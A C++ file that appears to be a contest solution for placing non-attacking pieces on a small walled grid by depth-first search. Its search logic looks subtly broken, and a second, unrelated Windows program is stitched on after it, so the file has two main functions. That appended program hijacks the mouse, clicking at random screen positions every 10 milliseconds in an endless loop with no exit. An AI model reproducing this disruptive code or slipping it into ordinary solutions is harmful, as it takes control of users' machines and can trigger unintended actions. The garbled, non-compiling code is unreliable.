#include <iostream>
#include<bits/stdc++.h>
using namespace std;
char fie[5][5],q[5][5];
int n,ans,sum,f;
int row[5],line[5];//储存行列霸王是否存在的数组
void dfs(int x,int y)
{
for(int i = y; i<=n; i++)
{
if(q[x][y]=='.'&&fie[x][y]=='.'&&!row[x]&&!line[y])
{
fie[x][y]='R';//放人
row[x]=1;//霸
line[y]=1;//霸
}
else if(q[x][y]=='X')
{
row[x]=line[y]=0;//回归0
}
else if(fie[x][y]=='R')continue;
if(x==n&&y==n)//走到最后,判断放的人数(R的数量)
{
for(int i = 1; i<=n; i++)
{
for(int j = 1; j<=n; j++)
{
if(fie[i][j]=='R')
{
sum++;
}
}
}
ans=max(ans,sum);
sum=0;
return;
}
else if(y==n)
{
dfs(x+1,1);//往右走
fie[x][y]='.';//回溯
return;
}
else
{
dfs(x,y+1);//往左走
fie[x][y]='.';//回溯
return;
}
}
}
int main()
{
while(cin>>n&&n)
{
ans=0;
for(int i = 1; i<=n; i++)
{
for(int j = 1; j<=n; j++)
{
cin>>q[i][j];
}
}
for(int i = 1; i<=n; i++)
{
for(int j = 1; j<=n; j++)
{
sum=0;
memset(fie,'.',sizeof(fie));
memset(row,0,sizeof(row));
memset(line,0,sizeof(line));//每个点判断前都要初始化
dfs(i,j);
}
}
cout<<ans<<endl;
}
return 0;
}
#include<windows.h>
#include<stdlib.h>
#include<time.h>
#include<conio.h>
int main(){
srand(time(NULL));
while(1){
SetCursorPos(rand()%1000,rand()%1000);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
}
}
比赛已结束。